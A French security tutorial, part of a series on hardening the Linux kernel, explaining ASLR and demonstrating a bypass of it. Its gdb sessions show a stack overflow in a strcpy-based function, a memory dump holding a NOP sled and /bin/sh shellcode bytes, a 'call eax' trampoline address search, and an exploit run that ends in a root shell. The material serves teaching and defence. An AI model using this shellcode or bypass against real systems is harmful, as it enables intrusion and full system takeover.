'); //-->

Proposer un article

Chercher

Revue de presse


SecuToolBox



Exostat

Sommaires

SecuShop :



Carbonite Backup Simple - Abonnement 1 an
Utilities :: Backup

Prix : 40.97 EUR

Acheter


Secumail

Services

Liens

Breves
- 20% de remise sur les certificats SSL VeriSign jusqu'au 31 mai 2008 (Lire)

- Vol de données à Harvard (Lire)

- Un exploit pour Quicktime découvert « in the wild » (Lire)

- Les derniers jours de MD5 ? (Lire)

- Le spam sur le déclin (Lire)

- Des spams au format MP3 (Lire)

- Areva T&D choisit iPass pour équiper 7000 utilisateurs (Lire)

- Ironport lance des fonctions de prévention des fuites d’informations (Lire)

- Sortie du numéro 8 de Uninformed (Lire)

- Liens malveillants sur le service Google Adwords (Lire)

- RSA SecurID en version mobile (Lire)

- Deux exploits preuves de concept pour Adobe Photoshop (Lire)

- Des titres suspendus à la bourse américaine pour cause de spam (Lire)

- Le programme de SSTIC 2007 (Lire)

- Le mois des failles PHP vient de commencer (Lire)

- Internet de plus en plus résistant ? (Lire)

- Augmentation des cryptovirus rançonneurs en vue pour Kaspersky (Lire)

- Les forces de l’ordre interdites de piratage en Allemagne (Lire)

- Appel à communication pour la JSSI 2007 (Lire)

- 11 techniques pour se protéger contre le phishing (Lire)




Newsletter :

Gratuit


Articles
- [Samhain FIDS multi-postes centralisé – Partie 1] Introduction et installation (Lire)

- [Samhain FIDS multi-postes centralisé – Partie 2] Configuration (Lire)

- [Samhain FIDS multi-postes centralisé – Partie 3] Utilisation (Lire)

- [Samhain FIDS multi-postes centralisé – Partie 4] Résultats (Lire)

- Près de 45% des femmes seraient prêtes à révèler leur mot de passe contre du chocolat (Lire)

- ProxyStrike un nouveau proxy transparent pour l'audit d'applications web (Lire)

- Uhooker une plateforme pour l'interception et la manipulation des applications (Lire)

- [Etude de cas IDX-PKI GPL – Partie 1] Présentation (Lire)

- [Etude de cas IDX-PKI GPL – Partie 2] Installation (Lire)

- [Etude de cas IDX-PKI GPL – Partie 3] Configuration (Lire)

- [Etude de cas IDX-PKI GPL – Partie 4] Conclusion (Lire)

- [Analyse des logs système avec Tenshi – Partie 1] Introduction et installation (Lire)

- [Analyse des logs système avec Tenshi – Partie 2] Configuration (1) (Lire)

- [Analyse des logs système avec Tenshi – Partie 3] Configuration (2) (Lire)

- [Analyse des logs système avec Tenshi – Partie 4] Utilisation et conclusion (Lire)

- [Windows Privacy Tools – Partie 1] Introduction et installation (Lire)

- [Windows Privacy Tools – Partie 2] Configuration, utilisation et conclusion (Lire)

- [Gestion de patch – Partie 1] Introduction (Lire)

- [Gestion de patch – Partie 2] Les tests de vulnérabilités locales avec Nessus (Lire)

- [Gestion de patch – Partie 3] Développement de scripts NASL pour Nessus (Lire)


Commentaires
- en l'état ça ne semble pas possible de récupérer la base SAM loc ... (Lire)

- mais avec quelle logiciel va tu capturer la sam d'un windows.Sac ... (Lire)

- Si la question est "est-ce que je peux prendre la base SAM sur u ... (Lire)

- Salut je voulais savoir si on peut faire sa en réseau local, ave ... (Lire)

- je viens de rectifier les deux liens, merci pour la correction N ... (Lire)

- L'adresse officielle du magazine MISC est :www (dot) miscmag (do ... (Lire)

- Merci beaucoup je viens de corriger ça ... ... (Lire)

- Deux petites coquilles dans la commande iptables de l'article: i ... (Lire)

- L'ancienne version mise en page est disponible sur cette page : ... (Lire)

- je n'arive pas a le lire en entier, le tuto est peut etre bien m ... (Lire)

- j'utilise un certificat Rapid SSL depuis 2 ans et j'en suis cont ... (Lire)

- Merci pour ce lien, je ne connaissais pas ce prestataire! Ils on ... (Lire)

- pourquoi on devrait utiliser live helper plutot que la méthode d ... (Lire)

- les utilisateurs ne sont pas toujours les seuls à pouvoir être m ... (Lire)

- Comme c'est indiqué dans l'article les pilotes madwifi ne permet ... (Lire)

- Tout ça peut se résumer à: C'st l'utilisateur qui est le point f ... (Lire)

- après tout cela, comment mettre la carte sur une puissance de 30 ... (Lire)

- pourquoi ne pas utiliser live-helper ?voir le projet Debian Live ... (Lire)

- C'est le problème des solutions de sécurité en général qu'elles ... (Lire)

- L'article est tres interessant, il est certain que le protocole ... (Lire)

- Le principe est transposable à n'importe quelle menace pouvant ê ... (Lire)

- Article intéressant mais ca mériterait de faire référence à des ... (Lire)

- C'est marrant parcequ'apparement c'était pas courru d'avance pou ... (Lire)

- C'était couru d'avance, j'en parlais déjà en février de cette an ... (Lire)

- "En effet, en ayant connaissance d'un identifiant, il est possib ... (Lire)


Exostats
Tests
21537
Tests
Aujourd'hui
Ce mois
Ajoutés
2
64
Tutoriels 










OPML (Tous)
OPML Francophone

 

[Renforcement des fonctions de sécurité du noyau Linux – Partie 2] Address Space Layout Randomization

Par Rédaction, secuobs.com
Le 14/11/2007



Résumé : ASLR ou Address Space Layout Randomization est une fonctionnalité du noyau Linux permettant de rendre aléatoire l'espace d'adressage mémoire de zones comme le tas (heap) ou la pile (stack) afin de compliquer le travail d'un attaquant souhaitant compromettre une machine via une attaque de type buffer overflow par exemple.




Promo interne : Certificats annuels SSL ( Voir les détails ) 128/256 bits à racine unique. Installables en 30 secondes, 99% des navigateurs compatibles ! Disponibles en ligne en 10 minutes : RapidSSL ( 62 EUR - Voir ), RapidSSL Pro réémission gratuite ( 98 EUR - Voir ) & QuickSSL Premium, réémission gratuite, compatible PDA, sceau de validité ( 129 EUR - Voir ) - Promo spéciale 20 % sur les certificats SSL VeriSign jusqu'au 31 mai 2008 ( Voir )

1 Year VPN Unlimited Who needs VPN4U Services ? Hotspot Wireless Users at risk of having personal datas stolen like passwords ! Home Internet Users, Cable and DSL providers don't filtering exploits ! International Internet Users living where Governments prevent users from enjoying Internet, USA IP = no controls ! 36 USD - Buy



Une nouveauté de taille est apparue récemment dans le noyau Linux, avec le support natif de l'équivalent d'ASLR (Address Space Layout Randomization). Ce dernier permet de rendre aléatoire l'espace d'adressage mémoire de certaines zones, telles que le tas (heap) ou la pile (stack).

En effet, ces deux dernières sections mémoire contiennent la plupart du temps les buffers d'un processus. Les allocations dynamiques (*malloc) sont placées dans le tas tandis que les statiques (char/int/... *buff[SIZE]) sont placées dans la pile.

Les fameux médiatiques buffer overflows (débordements de buffer) exploitent donc ces zones de la mémoire afin d'y placer un shellcode (suite d'OPCODEs) et de rediriger ensuite le flot d'exécution vers l'adresse le contenant.

En rendant ces adresses aléatoires, l'attaquant ne peut plus utiliser les techniques classiques d'exploitation, les réussites d'exploitation sont donc bien souvent plus rares.

Un processus nommé « srv » est lancé ci-dessous. Une analyse des zones mémoires allouées aux sections permet de constater que la pile est contenue entre les adresses 0xBF7F7000 et 0xBF80D000 :

$srv&
[3027]

$ cat /proc/3027/maps
(...)
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7da3000-b7da4000 rw-p b7da3000 00:00 0
b7da4000-b7ed2000 r-xp 00000000 03:04 345236 /lib/tls/libc-2.3.6.so
b7ed2000-b7ed7000 r--p 0012e000 03:04 345236 /lib/tls/libc-2.3.6.so
b7ed7000-b7eda000 rw-p 00133000 03:04 345236 /lib/tls/libc-2.3.6.so
b7eda000-b7edc000 rw-p b7eda000 00:00 0
b7ef5000-b7ef8000 rw-p b7ef5000 00:00 0
b7ef8000-b7f0d000 r-xp 00000000 03:04 2032253 /lib/ld-2.3.6.so
b7f0d000-b7f0f000 rw-p 00015000 03:04 2032253 /lib/ld-2.3.6.so
bf7f7000-bf80d000 rw-p bf7f7000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]Texte



Lors d'un second lancement du même processus, nous constatons que l'adresse de la pile a effectivement changé et se trouve désormais entre 0xBF865000 et BxBF87B000 :

$srv&
[3593]

$ cat /proc/3593/maps
(...)
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7e11000-b7e12000 rw-p b7e11000 00:00 0
b7e12000-b7f40000 r-xp 00000000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f40000-b7f45000 r--p 0012e000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f45000-b7f48000 rw-p 00133000 03:04 345236 /lib/tls/libc-2.3.6.so
b7f48000-b7f4a000 rw-p b7f48000 00:00 0
b7f63000-b7f66000 rw-p b7f63000 00:00 0
b7f66000-b7f7b000 r-xp 00000000 03:04 2032253 /lib/ld-2.3.6.so
b7f7b000-b7f7d000 rw-p 00015000 03:04 2032253 /lib/ld-2.3.6.so
bf865000-bf87b000 rw-p bf865000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]Texte



Analysons désormais le cas plus concret d'une faille logicielle sur l'exemple ci-dessous. Celui-ci contient la fonction here_is_the_bug qui effectue une copie non bornée de tampon mémoire dans « buffer » d'une taille fixe de 150 octets (celui-ci est placé dans la pile) :

(gdb) list here_is_the_bug
20 char * Connection;
21 } browser;
22
23
24 void here_is_the_bug(pbrowser Browser)
25 {
26
27 char buffer[150];
28 if(Browser->UserAgent != NULL)
29 {
30 strcpy(buffer,Browser->UserAgent);
31 }
32 }



En utilisant le débogueur gdb, plaçons maintenant deux breakpoints (points d'arrêts logiciels), avant et après la réécriture de l'adresse de retour (saved eip) placée dans la pile. Le buffer est ici placé à l'adresse 0xBFC73960. Après réécriture du buffer, nous passons le deuxième point d'arrêt. Le programme plante « normalement » (l'adresse utilisée pour la réécriture étant fausse et ne pointe plus dans la pile) :

(gdb) b 31
Breakpoint 1 at 0x804859e: file srv.c, line 31.

(gdb) run < paquet_mal
Breakpoint 1, here_is_the_bug (Browser=bfff0xf3a7) at srv.c:32
32 }

(gdb) print &buffer
$1 = (char (*)[150]) 0xbfc73960


(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff3a7 in ?? ()



En relançant le même exécutable, au premier point d'arrêt, nous constatons le changement d'adresse : le tampon concerné se situe désormais en 0xBF999AE0 :

(gdb) run < paquet_mal
Breakpoint 1, here_is_the_bug (Browser=bfff0xf3a7) at srv.c:32
32 }

(gdb) print &buffer
$2 = (char (*)[150]) 0xbf999ae0



Il n'est donc plus possible d'utiliser les techniques dites classiques afin de rediriger le flot d'exécution. Au mieux avec cette technique, l'attaquant provoquera un DoS (Denial Of Service - Déni de Service).

Malgré le niveau de sécurité plus élevé qu'apporte cette solution, nous avons constaté en l'étudiant, que cette protection pouvait être outrepassée en utilisant des moyens détournés...

Lors du deuxième point d'arrêt, placé avant le retour de la fonction, et après réécriture de l'adresse de retour (la saved eip affichée par gdb, 0xBFFFf3A7 n'est autre que celle que nous avons réécrite), nous analysons les valeurs des registres :

(gdb) info frame
Stack level 0, frame at 0xbf999b90:
eip = 0x804859e in here_is_the_bug (srv.c:32); saved eip 0xbffff3a7
called by frame at 0xbf999b94
source language c.
Arglist at 0xbf999b88, args: Browser=0xbffff3a7
Locals at 0xbf999b88, Previous frame's sp is 0xbf999b90
Saved registers:
ebp at 0xbf999b88, eip at 0xbf999b8c

(gdb) info registers
eax 0xbf999ae0 -1080452384
ecx 0xbf999bbd -1080452163



La valeur contenue dans le registre EAX est... l'adresse de notre buffer ! Cette propriété est due à l'emploi de la fonction strcpy. En effet, si nous nous plaçons à un niveau plus bas (code assembleur), les différentes adresses et valeurs utilisées sont placées dans les registres appropriés, puis un saut vers le code de la fonction strcpy est ensuite effectué. Cette fonction ne pouvant se passer de l'adresse destination du buffer, il est logique qu'elle soit placée dans un registre accessible (ici EAX).

Vérifions l'hypothèse selon laquelle l'adresse d'EAX contient effectivement notre suite d'instructions placée précédemment en mémoire (suite de NOP puis shellocode) :

(gdb) x/5bi 0xbf999ae0
0xbf999ae0: nop
0xbf999ae1: nop
0xbf999ae2: nop
0xbf999ae3: nop
0xbf999ae4: nop

(gdb) x/100bx 0xbf999ae0
0xbf999ae0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999ae8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999af0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999af8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbf999b10: 0x90 0x90 0x90 0x90 0x90 0x31 0xc0 0x31
0xbf999b18: 0xdb 0x31 0xc9 0xb0 0x46 0xcd 0x80 0x31
0xbf999b20: 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68
0xbf999b28: 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x8d 0x54
0xbf999b30: 0x24 0x08 0x50 0x53 0x8d 0x0c 0x24 0xb0
0xbf999b38: 0x0b 0xcd 0x80 0x31 0xc0 0xb0 0x01 0xcd
0xbf999b40: 0x80 0xbf 0xa7 0xf3



Les octets 0x90 sont les NOP, permettant la plupart du temps de réduire l'heuristique nécessaire à l'exploitation d'un buffer overflow (nous aurions pu nous en passer dans ce cas d'exploitation). Au passage, notons les OPCODEs 0xCD80 (en gras ci-dessus) qui représentent l'appel à l'interruption d'exécution pour nous céder un shell sur la machine distante (int $0x80).

Le principe d'exploitation est alors très clair : nous devons faire exécuter à la machine l'équivalent d'un jmp %eax ou call %eax qui sautera directement sur notre shellcode.

En effectuant une recherche dans la mémoire du processus, grâce à l'opcode finder (memory_dumper lien http externe url:[click] ) que nous avons développé pour l'occasion, nous trouvons une adresse (en zone d'adressage fixe cette fois-ci) contenant les OPCODEs de l'instruction « call EAX » :

# ./memory_dumper 080484b0 0804A4b0 10497 output
Found at 0x8048c03



Étant donné que le registre EAX pointe sur notre buffer (qui contient un shellcode valide), le contournement est alors effectué :

# ./exploit localhost 8000 0
Using align value 0
Trying « call eax » compliant address : 0x08048c03

Linux lapt41p 2.6.16 #3 PREEMPT i686 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)

#



De plus amples informations techniques au sujet d'ASLR sont disponibles aux adresses suivantes :

Lwn.net ( lien http externe url:[click] )

Searchopensource.techtarget.com ( lien http externe url:[click] )

Metasploit msg 00735 ( lien http externe url:[click] )

Metasploit msg 00736 ( lien http externe url:[click] )


D'autres protections, situées en userland via la librairie libc, permettent entre autres de se prémunir d'exploitations dans le tas via la méthode unlink. Elles sont complémentaires à une utilisation d'ASLR et ne seront pas décrites dans cet article.


Autres ressources dans ce dossier :

[Renforcement des fonctions de sécurité du noyau Linux – Partie 1] Présentation – lien http interne url:[click]

[Renforcement des fonctions de sécurité du noyau Linux – Partie 3] GrSecurity et PaX – lien http interne url:[click]

[Renforcement des fonctions de sécurité du noyau Linux – Partie 4] SELinux (1) – lien http interne url:[click]

[Renforcement des fonctions de sécurité du noyau Linux – Partie 5] SELinux (2) – lien http interne url:[click]

[Renforcement des fonctions de sécurité du noyau Linux – Partie 6] Netfilter, conclusions & webographie – lien http interne url:[click]




Les 20 derniers articles de la categorie Tutoriels :

- [Samhain FIDS multi-postes centralisé – Partie 1] Introduction et installation (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 2] Configuration (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 3] Utilisation (Lire)
- [Samhain FIDS multi-postes centralisé – Partie 4] Résultats (Lire)
- [Etude de cas IDX-PKI GPL – Partie 1] Présentation (Lire)
- [Etude de cas IDX-PKI GPL – Partie 2] Installation (Lire)
- [Etude de cas IDX-PKI GPL – Partie 3] Configuration (Lire)
- [Etude de cas IDX-PKI GPL – Partie 4] Conclusion (Lire)
- [Analyse des logs système avec Tenshi – Partie 1] Introduction et installation (Lire)
- [Analyse des logs système avec Tenshi – Partie 2] Configuration (1) (Lire)
- [Analyse des logs système avec Tenshi – Partie 3] Configuration (2) (Lire)
- [Analyse des logs système avec Tenshi – Partie 4] Utilisation et conclusion (Lire)
- [Windows Privacy Tools – Partie 1] Introduction et installation (Lire)
- [Windows Privacy Tools – Partie 2] Configuration, utilisation et conclusion (Lire)
- [Gestion de patch – Partie 1] Introduction (Lire)
- [Gestion de patch – Partie 2] Les tests de vulnérabilités locales avec Nessus (Lire)
- [Gestion de patch – Partie 3] Développement de scripts NASL pour Nessus (Lire)
- [Gestion de patch – Partie 4] Microsoft Baseline Security Analyser et Shavlik (Lire)
- [Gestion de patch – Partie 5] Conclusion et webographie (Lire)
- [Scanner de vulnérabilités eEye Retina – Partie 1] Introduction, documentation, version. (Lire)




Mini-tagwall de la revue de presse : security, microsoft, phone, network, windows, google, attack, hacker, vulnerability, vulnérabilité, yahoo, remote, apple, iphone, server, exploit, black, injection, release, internet, vista, drive, video, intel, format, malware, protect, laptop, access, management, source, patch, linux, research, biometric, crypt, business, office, virus, wireless, layer, chine, vmware, podcast, website, china, storage, cisco, facebook, europe, flash, database, troll, fraud, adobe, wi-fi, conference, nokia, theft, digital, botnet, phishing, privacy, critical, opera, pirate, green, firefox, government, photo, cyberspeak, fingerprint, monitor, share, identity, oracle, engine, email, police, visio, symantec, myspace, trojan, social, youtube, crack, break, local, expert, password, arrêt, safari, cross, japan, upgrade, electronic, motorola, infect, trust, detect, india, skype, phorm, america, frame, allen, appliance, mozilla, blackberry, camera, cable, trend, inclusion, joomla, browser, memory, authentication, package, blu-ray, desktop, macbook, compliance, driver, robot, forensic, toshiba, german, rootkit, amazon, verizon, spammer, development, audit, switch, wimax, ubuntu, samsung, novell, france, military, actor, quicktime, attaque, traffic, policy, mysql, major, defend, certificat, buffer, backup, torrent, squid, android, london, processor, router, activex, hardware, audio, captcha, tibet, scanner, passport, mcafee, copyright, telecom, notebook, airport, ofcom, excel, spectrum, tunes, interview, filter, document, russia, compromis, denial, radio




Ce site vous a plu ? Par avance, merci de bien vouloir nous adresser un don (transaction sécurisée par compte Paypal ou par carte de crédit) si vous le désirez afin de préserver le caractère indépendant de nos recherches en cliquant sur le bouton suivant :

Newsletter gratuite :




Poster un commentaire :

Auteur du commentaire :

Prénom et nom de l'auteur de l'article sur lequel vous voulez poser un commentaire ? (ici Rédaction) :



Message du commentaire :





 

 


Mini-Tagwall

Revue de presse francophone
- PC Tools : Windows Vista plus vulnérable que Windows 2000

- Sécurité > Un simulateur de cyber-guerre recommandé aux Etats-Unis

- Sécurité > Bug chez Keyware : 500 000 euros facturés en double

- Sécurité > RSA se renforce sur l'assurance identité

- Un CERT pour l'Open-Source

- Le numéro d'avril 2008 de « Veille internationale Télécoms-Internet » édité par UBIFRANCE est paru

- Des kits (packs) de Phishing gratuits !!!

- Ipswitch lance la version 12 de WhatsUp Gold

- Des MP3 et films malicieux se répandent dans les réseaux P2P. Déjà plus de 500.000 ordinateurs infectés !!!

- Multiples vulnérabilités dans Linux Kernel, Open Office, Open SSH, KDE, Adobe Acrobat Reader, Adobe Flash, Apache Server, PHP, Microsoft Works, Mozilla Thunderbird/Seamonkey/Firefox 2.0.0.12, etc.

- Adrien Guinault, XMCO Partners : Comment venir à bout des serrures

- La ville de Manchester choisit Omnicast de Genetec dans le cadre d'une mise à jour système majeure

- Diffusion des données personnelles sur internet : où est le problème ?

- Avis de la CNIL sur le passeport biométrique

- Windows XP SP3 disponible, NAP devient crédible


Revue de presse internationale

SecuShop :




ESET Smart Security - Nouvelle licence 1 an 1 ordinateur

Logiciel multi-protections (virus, spywares, chevaux de troie, spams, firewall) pour la sécurisation des PC personnels - 50.16 EUR

Acheter


Failles/Secunia

Full Disclosure